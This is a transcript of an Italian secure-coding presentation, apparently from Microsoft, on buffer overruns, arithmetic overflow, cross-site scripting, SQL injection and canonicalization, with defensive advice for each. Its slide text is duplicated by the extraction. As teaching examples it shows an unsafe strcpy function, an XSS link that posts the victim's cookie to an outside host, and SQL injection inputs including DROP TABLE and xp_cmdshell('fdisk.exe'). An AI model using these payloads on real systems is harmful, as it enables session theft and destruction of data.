Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com...

Post on 01-May-2015

219 views 0 download

Tags:

Transcript of Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com...

Scrivere codice sicuroScrivere codice sicuro

Fabio SantiniFabio Santini.NET Senior Developer Evangelist.NET Senior Developer Evangelistfsantini@microsoft.com fsantini@microsoft.com Microsoft ItalyMicrosoft Italy

AgendaAgenda Buffer OverrunsBuffer Overruns Errori aritmeticiErrori aritmetici CSS (Cross-Site Scripting) CSS (Cross-Site Scripting) SQL InjectionSQL Injection CanonicalizationCanonicalization Isolated StorageIsolated Storage ViewState ViewState

LaLa necessitànecessità didi codicecodice protettoprotetto

“Porto USA colpito da un hacker inglese”

“Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco””

"Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web”

“La pirateria ha causato la perdita di 4.300 posti di lavoro ed ha provocato danni per 850 milioni di dollari””

“Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari””“Gli attacchi costeranno

all'economia mondiale 1,6 trilioni di dollari quest'anno”

Cos'èCos'è unun Buffer OverrunBuffer Overrun

SiSi verificaverifica quandoquando ii datidati superanosuperano lala dimensionedimensione previstaprevista ee sovrascrivonosovrascrivono altrialtri valorivalori

È frequente soprattutto nel codice C/C++ non È frequente soprattutto nel codice C/C++ non gestitogestito

Può essere di quattro tipi:Può essere di quattro tipi: buffer overrun basato sullo stackbuffer overrun basato sullo stack buffer overrun dell'heapbuffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzioneSovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioniSovrascrittura del gestore eccezioni

PuòPuò essereessere sfruttatosfruttato daidai wormworm

Possibile conseguenza Obiettivo dell'hacker

Violazione dell'accesso

Realizzare gli attacchi DoS (denial of service) contro i server

Instabilità Interferire con il normale funzionamento del software

Inserimento di codice

Ottenere privilegi per il proprio codiceSfruttare dati aziendali di vitale importanzaEseguire azioni distruttive

PossibiliPossibili conseguenzeconseguenze deidei sovraccarichisovraccarichi bufferbuffer

void UnSafe (const char* uncheckedData)

{

int anotherLocalVariable;

strcpy (localVariable, uncheckedData);

}

char localVariable[4];

EsempioEsempio didi sovraccaricosovraccarico bufferbuffer basatobasato sullosullo stackstack

Parte superiore dello stack

char[4]

int

Indirizzo di ritorno

II buffer overrunbuffer overrun dell'heapdell'heap

SovrascrivonoSovrascrivono ii datidati memorizzatimemorizzati nell'heapnell'heap

Sono più difficili da sfruttare Sono più difficili da sfruttare di un buffer overrundi un buffer overrun

Dati

Puntatore

Dati

Dati

Puntatore

Puntatore

strcpystrcpy xxxxxxxxxxxxxxxxxxxxxxxxxxxx

ComeCome difendersidifendersi daidai buffer overrunbuffer overrun (1(1 didi 2)2) UtilizzareUtilizzare concon particolareparticolare cautelacautela lele

seguentiseguenti funzioni:funzioni: strcpystrcpy strncpystrncpy CopyMemoryCopyMemory MultiByteToWideCharMultiByteToWideChar

Utilizzare l'opzione di compilazione /GS Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i in Visual C++ per individuare i sovraccarichi buffersovraccarichi buffer

Utilizzare strsafe.h per un gestione del Utilizzare strsafe.h per un gestione del buffer più sicurabuffer più sicura

Come difendersi dai buffer Come difendersi dai buffer overrun (2 di 2)overrun (2 di 2)

DEMODEMO

GliGli errorierrori aritmeticiaritmetici SiSi verificanoverificano quandoquando vengonovengono superatisuperati ii

limitilimiti didi unauna variabilevariabile Causano gravi errori in fase di esecuzioneCausano gravi errori in fase di esecuzione Vengono spesso sottovalutatiVengono spesso sottovalutati Includono:Includono:

Overflow – valore troppo grande per il tipo di Overflow – valore troppo grande per il tipo di datidati

Underflow – valore troppo piccolo per il tipo Underflow – valore troppo piccolo per il tipo di datidi dati

ComeCome difendersidifendersi daglidagli errorierrori aritmeticiaritmetici TenereTenere contoconto deidei limitilimiti deldel tipotipo didi datidati

sceltoscelto Scrivere codice a prova di attacchi che Scrivere codice a prova di attacchi che

verifichi la presenza di overflowverifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabiliScrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su Utilizzare una classe sicura basata su

modello (se si scrive codice in C++)modello (se si scrive codice in C++)

DEMODEMO

Cos'èCos'è ilil CSS?CSS? UnaUna tecnicatecnica cheche consenteconsente agliagli hackerhacker di:di:

Eseguire script dannoso nel browser Web Eseguire script dannoso nel browser Web di un clientdi un client

Inserire tag <script>, <object>, <applet>, Inserire tag <script>, <object>, <applet>, <form> e <embed><form> e <embed>

Rubare informazioni sulla sessione Web e Rubare informazioni sulla sessione Web e cookie di autenticazionecookie di autenticazione

Accedere al computer clientAccedere al computer client

Qualsiasi pagina Web che esegue il rendering HTMLe contenente input dell'utente è vulnerabile

DueDue impieghiimpieghi comunicomuni deldel CSSCSS AttaccareAttaccare lele piattaformepiattaforme didi postaposta

elettronicaelettronica basatebasate sulsul WebWeb ee i forumi forum Utilizzo dei tag <form> HTML per Utilizzo dei tag <form> HTML per

reindirizzare informazioni privatereindirizzare informazioni private

AttacchiAttacchi basatibasati susu formform (1(1 didi 2)2)Response.Write("Welcome" & Request.QueryString("UserName"))

AttacchiAttacchi basatibasati susu formform (2(2 didi 2)2)

<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >

here</a>

ComeCome difendersidifendersi daglidagli attacchiattacchi CSSCSS

OperazioniOperazioni dada nonnon eseguire:eseguire: Considerare attendibile l'input dell'utenteConsiderare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato Attivare l'eco dell'input dell'utente basato

sul Web a meno che non sia stato sul Web a meno che non sia stato convalidatoconvalidato

Memorizzare informazioni segrete nei cookieMemorizzare informazioni segrete nei cookie

Operazioni da eseguire:Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnlyUtilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NETSfruttare le funzionalità di ASP.NET

DEMODEMO

Cos'èCos'è l'SQLl'SQL Injection?Injection?

L'SQLL'SQL InjectionInjection è:è: L'aggiunta di istruzioni SQL nell'input L'aggiunta di istruzioni SQL nell'input

dell'utentedell'utente Viene utilizzato dagli hacker per:Viene utilizzato dagli hacker per:

Effettuare la scansione dei databaseEffettuare la scansione dei database Ignorare l'autorizzazioneIgnorare l'autorizzazione Eseguire più istruzioni SQLEseguire più istruzioni SQL Richiamare stored procedure incorporateRichiamare stored procedure incorporate

EsempiEsempi didi SQLSQL InjectionInjection

SeSe lala variabilevariabile IDID vieneviene lettaletta direttamentedirettamente dada unauna casellacasella didi testotesto didi unun WebWeb FormForm oo didi unun formform didi Windows,Windows, l'utentel'utente potrebbepotrebbe immettere:immettere: ALFKI1001ALFKI1001 ALFKI1001' or 1=1 --ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail --ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') --ALFKI1001' exec xp_cmdshell('fdisk.exe') --

sqlString = "SELECT HasShipped FROM"+ " OrderDetail WHERE OrderID ='"+ ID + "'";

ComeCome difendersidifendersi dall'SQLdall'SQL InjectionInjection VerificareVerificare cheche l'inputl'input nonnon siasia infetto.infetto.

Considerare tutto l'input pericoloso fino a Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrarioquando non viene dimostrato il contrario

Cercare dati validi e respingere tutto il restoCercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere Utilizzare espressioni regolari per rimuovere

i caratteri indesideratii caratteri indesiderati Eseguire con i privilegi più bassiEseguire con i privilegi più bassi

Non eseguire mai come “sa”Non eseguire mai come “sa” Limitare l'accesso a stored procedure Limitare l'accesso a stored procedure

incorporateincorporate Utilizzare stored procedure o query con Utilizzare stored procedure o query con

parametri SQL per accedere ai datiparametri SQL per accedere ai dati Non attivare l'eco di errori ODBCNon attivare l'eco di errori ODBC

DEMODEMO

ProblemiProblemi didi CanonicalizationCanonicalization GeneralmenteGeneralmente esistonoesistono piùpiù metodimetodi

perper assegnareassegnare ii nominomi Sono disponibili rappresentazioni Sono disponibili rappresentazioni

alternative per:alternative per: Nomi fileNomi file URLURL Periferiche (ad esempio stampanti)Periferiche (ad esempio stampanti)

Gli hacker possono sfruttare il codice che Gli hacker possono sfruttare il codice che consente di effettuare determinate consente di effettuare determinate operazioni in base ai nomi file o agli URLoperazioni in base ai nomi file o agli URL

ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 11 –– NomiNomi filefile

1.1. MyLongFile.txtMyLongFile.txt2.2. MyLongFile.txt.MyLongFile.txt.3.3. MyLong~1.txtMyLong~1.txt4.4. MyLongFile.txt::$DATAMyLongFile.txt::$DATA

EsistonoEsistono moltimolti modimodi perper rappresentarerappresentare ii carattericaratteri susu InternetInternet

ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 22 –– RappresentazioneRappresentazione deidei carattericaratteri

http://www.microsoft.com/technet/security

EquivaleEquivale aa --

http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity

http://www.microsoft.com%c0%aftechnet%c0%afsecurity

http://www%25%32%65microsoft.com/technet/security

http://172.43.122.12 = http://2888530444

DEMODEMO

© 2002 Microsoft Corporation. All rights reserved.© 2002 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.